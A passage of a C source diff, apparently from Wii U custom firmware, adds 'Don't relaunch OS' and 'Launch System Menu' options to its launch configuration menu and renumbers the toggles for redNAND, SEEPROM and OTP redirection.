(text1) : (text2)) @@ -49,6 +50,8 @@ struct { { "Config view mode", "expert", "default" }, { "Skip this menu on launch", "on", "off" }, { "Show launch image", "on", "off" }, + { "Don't relaunch OS", "on", "off" }, + { "Launch System Menu", "on", "off" }, { "redNAND", "on", "off" }, { "SEEPROM redirection", "on", "off" }, { "OTP redirection", "on", "off" }, @@ -106,7 +109,7 @@ int ShowMenu(cfw_config_t * currentConfig) cfw_config_t config; memcpy(&config, currentConfig, sizeof(cfw_config_t)); - int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT; while(1) { @@ -147,7 +150,7 @@ int ShowMenu(cfw_config_t * currentConfig) { case 0: config.viewMode = !config.viewMode; - max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; + max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT; break; case 1: config.directLaunch = !config.directLaunch; @@ -156,15 +159,21 @@ int ShowMenu(cfw_config_t * currentConfig) config.launchImage = !config.launchImage; break; case 3: - config.redNAND = !config.redNAND; + config.noIosReload = !config.noIosReload; break; case 4: - config.seeprom_red = !config.seeprom_red; + config.launchSysMenu = !config.launchSysMenu; break; case 5: - config.otp_red = !config.otp_red; + config.redNAND = !config.redNAND; break; case 6: + config.seeprom_red = !config.seeprom_red; + break; + case 7: + config.otp_red = !config.otp_red; + break; + case 8: config.syshaxXml = !config.syshaxXml; break; default: @@ -181,6 +190,16 @@ int ShowMenu(cfw_config_t * currentConfig) config.otp_red = 1; } } + if(config.noIosReload) + { + config.launchImage = 0; + config.redNAND = 0; + } + else + { + config.launchSysMenu = 1; + } + if(config.redNAND == 0) { config.seeprom_red = 0; @@ -202,7 +221,7 @@ int ShowMenu(cfw_config_t * currentConfig) console_print_pos(x_offset, 4, "Press HOME to exit back to HBL."); console_print_pos(x_offset, 5, "Hold B on start to force enter this menu"); - int y_offset = 7; + int y_offset = 6; int option_count = sizeof(selection_options) / sizeof(selection_options[0]); int idx; int * configPtr = &config.viewMode;